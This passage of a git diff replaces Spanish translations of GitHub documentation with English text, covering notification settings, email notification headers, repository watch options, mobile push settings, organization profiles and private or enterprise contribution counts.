  • `team_mention`: Un equipo al que perteneces fue mencionado en una propuesta o solicitud de extracción.
  • `your_activity`: Abriste, comentaste en o cerraste una propuesta o solicitud de extracción.
| -| Campo `mailing list` (lista de correos) | Este campo identifica el nombre del repositorio y su propietario. El formato de esta dirección siempre es `..{% data variables.command_line.backticks %}`. |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| Campo `X-GitHub-Severity` | {% data reusables.repositories.security-alerts-x-github-severity %} Los posibles niveles de gravedad son:
  • `low`
  • `moderate`
  • `high`
  • `critical`
Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". -{% endif %} +| Header | Information | +| --- | --- | +| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. | +| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} | +| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are:
  • `assign`: You were assigned to an issue or pull request.
  • `author`: You created an issue or pull request.
  • `ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.
  • `comment`: You commented on an issue or pull request.
  • `manual`: There was an update to an issue or pull request you manually subscribed to.
  • `mention`: You were mentioned on an issue or pull request.
  • `push`: Someone committed to a pull request you're subscribed to.
  • `review_requested`: You or a team you're a member of was requested to review a pull request.
    • {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
  • `security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.
    • {% endif %}
  • `state_change`: An issue or pull request you're subscribed to was either closed or opened.
  • `subscribed`: There was an update in a repository you're watching.
  • `team_mention`: A team you belong to was mentioned on an issue or pull request.
  • `your_activity`: You opened, commented on, or closed an issue or pull request.
| +| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `..{% data variables.command_line.backticks %}`. |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:
  • `low`
  • `moderate`
  • `high`
  • `critical`
For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." |{% endif %} -## Escoger tu configuración de notificaciones +## Choosing your notification settings {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. En la página de configuración de notificaciones, elige cómo deseas recibir las notificaciones cuando: - - Existen actualizaciones en repositorios o debates de equipo que estás siguiendo de cerca, o en una conversación en la que estás participando. Para obtener más información, consulta la sección "[Acerca de participar y seguir notificaciones](#about-participating-and-watching-notifications)". - - Obtienes acceso a un repositorio nuevo o te has unido a un equipo nuevo. Para obtener más información, consulta la sección "[Observar automáticamente](#automatic-watching)".{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} - - Hay nuevas {% if page.version == 'dotcom' %}{% data variables.product.prodname_dependabot_alerts %}{% else %}alertas de seguridad{% endif %} en tu repositorio. Para obtener más información, consulta la sección "[{% data variables.product.prodname_dependabot_alerts %} opciones de notificación](#dependabot-alerts-notification-options)". {% endif %} {% ifversion fpt or ghec %} - - Hay actualizaciones en la ejecución de flujos de trabajo en los repositorios configurados con {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[opciones de notificación de {% data variables.product.prodname_actions %}](#github-actions-notification-options)".{% endif %} +3. On the notifications settings page, choose how you receive notifications when: + - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." + - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)."{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} + - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% endif %} {% ifversion fpt or ghec %} + - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} + - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} -## Seguimiento automático +## Automatic watching -Predeterminadamente, cada que obtienes acceso a un repositorio nuevo, comenzarás automáticamente a observarlo. En cualquier momento que te unas a un equipo, te suscribirás automáticamente a las actualizaciones y recibirás notificaciones cuando se @mencione a dicho equipo. Si no te quieres suscribir automáticamente, puedes deseleccionar las opciones de observar automáticamente. +By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options. - ![Opciones de observar automáticamente](/assets/images/help/notifications-v2/automatic-watching-options.png) + ![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png) -Si inhabilitas la opción de "Observar los repositorios automáticamente", no podrás observar automáticamente tus propios repositorios. Debes navegar hasta tu página de repositorio y escoger la opción de observar. +If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. -## Configurar los ajustes de observación para un repositorio individual +## Configuring your watch settings for an individual repository -Puedes elegir si quieres observar o dejar de observar un repositorio individual. También puedes elegir que solo se te notifique sobre {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}algunos tipos de evento tales como {% data reusables.notifications-v2.custom-notification-types %} (si es que se habilitó en el repositorio) {% else %}lanzamientos nuevos{% endif %}, o ignorar completamente un repositorio individual. +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) {% else %}new releases{% endif %}, or completely ignore an individual repository. {% data reusables.repositories.navigate-to-repo %} -2. En la esquina superior derecha, selecciona en el menú desplegable "Observar" para hacer clic en una opción de observación. +2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. {% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} - ![Ver opciones en un menú desplegable para un repositorio](/assets/images/help/notifications-v2/watch-repository-options-custom.png) + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png) - La opción **Personalizar** te permite personalizar aún más las notificaciones para que solo se te notifique cuando suceden eventos específicos en el repositorio, adicionalmente a participar y tener @menciones. + The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions. {% else %} - ![Ver opciones en un menú desplegable para un repositorio](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options.png){% endif %} {% ifversion fpt or ghes > 3.0 or ghae-issue-4910 or ghec %} - ![Opciones de observación personalizada en un menú desplegable de un repositorio](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) Si seleccionas "propuestas", se te notificará sobre y suscribirá a las actualizaciones de cada propuesta (incluyendo aquellas que existieron antes de que seleccionaras esta opción) del repositorio. Si se te @menciona en una solicitud de cambios de este repositorio, también recibirás notificaciones por este evento y se te suscribirá a las actualizaciones de esa solicitud de cambios específica adicionalmente a las notificaciones que tendrás sobre las propuestas. + ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) + If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. {% endif %} -## Elegir a dónde se envían las notificaciones por correo electrónico de tu organización +## Choosing where your organization’s email notifications are sent -Si perteneces a una organización, puedes escoger la cuenta de correo electrónico a la que desees que se envíen las notificaciones de la actividad de la empresa. Por ejemplo, si perteneces a una organización de trabajo, es posible que desees que tus notificaciones se envíen a tu dirección de correo electrónico laboral, en lugar de tu dirección personal. +If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. {% data reusables.notifications-v2.email-notification-caveats %} {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. En "Default notification email" (Correo electrónico de notificación predeterminado), selecciona la dirección de correo electrónico a la que deseas que se envíen las notificaciones. - ![Desplegable de direcciones de correo electrónico de notificación predeterminadas](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) -4. Haz clic en **Save ** (guardar). +3. Under "Default notification email", select the email address you'd like notifications sent to. +![Default notification email address drop-down](/assets/images/help/notifications/notifications_primary_email_for_orgs.png) +4. Click **Save**. -### Personalizar rutas de correo electrónico por organización +### Customizing email routes per organization -If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} Para obtener más información, consulta la sección "[Verificar tu dirección de correo electrónico](/articles/verifying-your-email-address)".{% endif %} +If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} {% data reusables.notifications.access_notifications %} {% data reusables.notifications-v2.manage-notifications %} -3. En "Custom routing" (Enrutamiento personalizado) busca el nombre de tu organización en la lista. - ![Lista de organizaciones y direcciones de correo electrónico](/assets/images/help/notifications/notifications_org_emails.png) -4. Haz clic en **Edit** (Editar) junto a la dirección de correo electrónico que deseas cambiar. ![Editar las direcciones de correo electrónico de la organización](/assets/images/help/notifications/notifications_edit_org_emails.png) -5. Selecciona una de las direcciones de correo electrónico verificadas, luego haz clic en **Save** (Guardar). - ![Alternar tus direcciones de correo electrónico por organización](/assets/images/help/notifications/notifications_switching_org_email.gif) +3. Under "Custom routing," find your organization's name in the list. +![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png) +4. Click **Edit** next to the email address you want to change. +![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png) +5. Select one of your verified email addresses, then click **Save**. +![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif) {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot_alerts %}opciones de notificación +## {% data variables.product.prodname_dependabot_alerts %} notification options {% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} -Para obtener más información acerca de los métodos de entrega de las notificaciones que tienes disponibles, así como para encontrar consejos sobre cómo optimizar tus notificaciones para {% ifversion fpt or ghes or ghec %}las {% else %}alertas de seguridad{% endif %} del {% data variables.product.prodname_dependabot_alerts %}, consulta la sección "[Configurar las notificaciones para las dependencias vulnerables](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)". +For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} {% ifversion fpt or ghes or ghec %} -## {% data variables.product.prodname_actions %}opciones de notificación +## {% data variables.product.prodname_actions %} notification options -Elige cómo quieres recibir las actualizaciones para las ejecuciones de flujo de trabajo en los repositorios que estás observando y que se configuraron con {% data variables.product.prodname_actions %}. También puedes elegir recibir únicamente las notificaciones para las ejecuciones de flujo de trabajo fallidas. +Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs. - ![Opciones de notificación para {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png) + ![Notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png) + +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} +## Organization alerts notification options + +If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. {% endif %} {% ifversion fpt or ghes or ghec %} -## Administrar tu configuración de notificaciones con {% data variables.product.prodname_mobile %} +## Managing your notification settings with {% data variables.product.prodname_mobile %} -Cuando instalas {% data variables.product.prodname_mobile %}, ingresarás automáticamente en las notificaciones web. Dentro de la app, puedes habilitar notificaciones de subida para los siguientes eventos. -- Menciones directas -- Tareas para propuestas o sollicitudes de cambio -- Solicitudes para revisar una solicitud de cambios -- Solicitudes para aprobar un despliegue +When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. +- Direct mentions +- Assignments to issues or pull requests +- Requests to review a pull request +- Requests to approve a deployment -También puedes programar si {% data variables.product.prodname_mobile %} enviará notificaciones de subida a tu dispositivo móvil. +You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. {% data reusables.mobile.push-notifications-on-ghes %} -### Administrar tu configuración de notificaciones con {% data variables.product.prodname_ios %} +### Managing your notification settings with {% data variables.product.prodname_ios %} -1. En el menú inferior, pulsa en **Perfil**. -2. Para ver tu configuración, toca en {% octicon "gear" aria-label="The Gear icon" %}. -3. Para actualizar tu configuración de notificaciones, pulsa en **Notificaciones** y luego usa los alternadores para habilitar o inhabilitar tus tipos de notificaciones de subida preferidos. -4. Opcionalmente, para programar cuando {% data variables.product.prodname_mobile %} enviará notificaciones de subida a tu dispositivo móvil, pusla en **Horas laborales**, utiliza el botón para alternar de **Horas laborales personalizadas** y elige entonces cuándo te gustaría recibir notificaciones de subida. +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. -### Administrar tu configuración de notificaciones con {% data variables.product.prodname_android %} +### Managing your notification settings with {% data variables.product.prodname_android %} -1. En el menú inferior, pulsa en **Perfil**. -2. Para ver tu configuración, toca en {% octicon "gear" aria-label="The Gear icon" %}. -3. Para actualizar tu configuración de notificaciones, pulsa en **Configurar Notificaciones** y luego usa los alternadores para habilitar o inhabilitar tus tipos de notificaciones de subida preferidos. -4. Opcionalmente, para programar cuando {% data variables.product.prodname_mobile %} enviará notificaciones de subida a tu dispositivo móvil, pusla en **Horas laborales**, utiliza el botón para alternar de **Horas laborales personalizadas** y elige entonces cuándo te gustaría recibir notificaciones de subida. +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. -## Configurar tus ajustes de observación para un repositorio individual con {% data variables.product.prodname_mobile %} +## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} -Puedes elegir si quieres observar o dejar de observar un repositorio individual. También puedes elegir que solo se te notifique de {% ifversion fpt or ghec %}algunos tipos de eventos, tales como propuestas, solicitudes de cambios, debates (si se habilitaron en el repositorio) y {% endif %}lanzamientos nuevos, o puedes ignorar completamente un repositorio específico. +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. -1. En {% data variables.product.prodname_mobile %}, visita la página principal del repositorio. -2. Pulsa en **Observar**. ![El botón de observar en {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) -3. Para elegir para qué actividades recibes notificaciones, pulsa en tus ajustes de observación preferidos. ![Menú desplegable de ajustes de observación en {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) +1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. +2. Tap **Watch**. + ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) +3. To choose what activities you receive notifications for, tap your preferred watch settings. + ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) {% endif %} diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md index 446b3ae223..0b8710d460 100644 --- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md +++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md @@ -108,7 +108,7 @@ To add a `repo:` filter, you must include the owner of the repository in the que ### Supported `is:` queries -To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot %} alerts, use `is:repository-vulnerability-alert`{% endif %}. +To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}. - `is:check-suite` - `is:commit` diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md index 7c558d3520..079a7e07b2 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md @@ -1,6 +1,6 @@ --- -title: Acerca del perfil de tu organización -intro: La página del perfil de tu organización muestra la información básica acerca de tu organización. +title: About your organization's profile +intro: Your organization's profile page shows basic information about your organization. redirect_from: - /articles/about-your-organization-s-profile - /articles/about-your-organizations-profile @@ -13,19 +13,18 @@ versions: ghec: '*' topics: - Profiles -shortTitle: Perfil de la organización +shortTitle: Organization's profile --- - You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories.{% ifversion not ghes and not ghae %} You can customize your organization's profile by adding a README.md file. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."{% endif %} -{% ifversion fpt or ghec %}Para confirmar la identidad de tu organización y mostrar el distintivo "Verificada" en la página del perfil de tu organización, debes verificar los dominios de tu organización con {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)".{% endif %} +{% ifversion fpt or ghec %}To confirm your organization's identity and display a "Verified" badge on your organization profile page, you must verify your organization's domains with {% data variables.product.product_name %}. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."{% endif %} {% ifversion fpt or ghes > 3.2 or ghec %} -![Muestra de la página de perfil de una organización](/assets/images/help/organizations/org_profile_with_overview.png) +![Sample organization profile page](/assets/images/help/organizations/org_profile_with_overview.png) {% else %} -![Muestra de la página de perfil de una organización](/assets/images/help/profile/org_profile.png) +![Sample organization profile page](/assets/images/help/profile/org_profile.png) {% endif %} -## Leer más +## Further reading -- "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)" +- "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md index f38993b70d..1bbb5cf677 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md @@ -1,6 +1,6 @@ --- -title: Divulgar u ocultar tus contribuciones privadas en tu perfil -intro: 'Tu perfil {% data variables.product.product_name %} muestra un gráfico de las contribuciones a tu repositorio durante el último año. Puedes elegir mostrar actividad anonimizada desde repositorios {% ifversion fpt or ghes or ghec %}privados e internos{% else %}privados{% endif %}{% ifversion fpt or ghes or ghec %}adicionalmente a ala actividad de los repositorios públicos{% endif %}.' +title: Publicizing or hiding your private contributions on your profile +intro: 'Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}.' redirect_from: - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile @@ -12,10 +12,10 @@ versions: ghec: '*' topics: - Profiles -shortTitle: Contribuciones privadas +shortTitle: Private contributions --- -Si publicas tus contribuciones privadas, las personas sin acceso a los repositorios privados en los que trabajas no podrán ver los detalles de tus contribuciones privadas. En su lugar, verán la cantidad de contribuciones privadas que has realizado durante un determinado día. Tus contribuciones públicas incluirán información detallada. Para obtener más información, consulta "[Ver contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)." +If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)." {% note %} @@ -23,14 +23,16 @@ Si publicas tus contribuciones privadas, las personas sin acceso a los repositor {% endnote %} -## Cambiar la visibilidad de tus contribuciones privadas +## Changing the visibility of your private contributions {% data reusables.profile.access_profile %} -1. Divulga u oculta tus contribuciones privadas en tu perfil: - - Para publicitar tus contribuciones privadas, arriba de tu gráfico de contribuciones, utiliza el menú desplegable **Contribution settings** (Configuraciones de contribuciones) y selecciona **Private contributions** (Contribuciones privadas). Los visitantes verán tus recuentos de contribuciones privadas sin más detalles. ![Habilitar que los visitantes vean las contribuciones privadas desde el menú desplegable de configuraciones de contribuciones](/assets/images/help/profile/private-contributions-on.png) - - Para ocultar tus contribuciones privadas, arriba de tu gráfico de contribuciones, utiliza el menú desplegable **Contribution settings** (Configuraciones de contribuciones) y anula la selección de **Private contributions** (Contribuciones privadas). Los visitantes únicamente verán tus contribuciones públicas. ![Habilitar que los visitantes vean las contribuciones privadas desde el menú desplegable de configuraciones de contribuciones](/assets/images/help/profile/private-contributions-off.png) +1. Publicize or hide your private contributions on your profile: + - To publicize your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and select **Private contributions**. Visitors will see your private contribution counts without further details. + ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-on.png) + - To hide your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and unselect **Private contributions.** Visitors will only see your public contributions. + ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-off.png) -## Leer más +## Further reading -- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)" -- "[¿Por qué mis contribuciones no se ven en mi perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md index efcd46f204..47c7e5a660 100644 --- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md +++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -1,6 +1,6 @@ --- -title: Enviar contribuciones empresariales a tu perfil de GitHub.com -intro: 'Puedes resaltar tu trabajo en {% data variables.product.prodname_enterprise %} al enviar los recuentos de contribuciones a tu perfil {% data variables.product.prodname_dotcom_the_website %}.' +title: Sending enterprise contributions to your GitHub.com profile +intro: 'You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile.' redirect_from: - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile/ - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile @@ -14,48 +14,51 @@ versions: ghec: '*' topics: - Profiles -shortTitle: Enviar contribuciones empresariales +shortTitle: Send enterprise contributions --- -## Acerca de las contribuciones empresariales en tu perfil de {% data variables.product.prodname_dotcom_the_website %} +## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile -Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. Los recuentos de contribuciones de {% data reusables.github-connect.sync-frequency %} de {% data variables.product.prodname_enterprise %} se consideran contribuciones privadas. Los detalles de confirmación solo mostrarán los conteos de contribuciones y que estas se hicieron en un ambiente de {% data variables.product.prodname_enterprise %} fuera de {% data variables.product.prodname_dotcom_the_website %}. +Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_enterprise %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}. -Puedes decidir si quieres que se muestren los conteos de las contribuciones privadas en tu perfil. Para obtener más información, consulta "[Publicar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)." +You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)." -Para obtener más información acerca de cómo se calculan las contribuciones, consulta "[Administrar gráficos de contribuciones en tu perfil](/articles/managing-contribution-graphs-on-your-profile/)." +For more information about how contributions are calculated, see "[Managing contribution graphs on your profile](/articles/managing-contribution-graphs-on-your-profile/)." {% note %} -**Notas:** -- La conexión entre tus cuentas está regulada por la Declaración de privacidad de GitHub, y los usuarios que habilitan la conexión aceptan los Términos de servicio de GitHub. +**Notes:** +- The connection between your accounts is governed by GitHub's Privacy Statement and users enabling the connection agree to the GitHub's Terms of Service. -- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. Para obtener más información, contacta a tu propietario de empresa. +- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner. {% endnote %} {% ifversion fpt or ghes or ghae or ghec %} -## Enviar las contribuciones de tu empresa a tu perfil de {% data variables.product.prodname_dotcom_the_website %} +## Sending your enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile {% ifversion fpt or ghec %} -- Para enviar contribuciones empresariales desde {% data variables.product.prodname_ghe_server %} a tu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website %}](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% ifversion ghae-next %} -- Para enviar contribuciones empresariales desde {% data variables.product.prodname_ghe_managed %} a tu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website 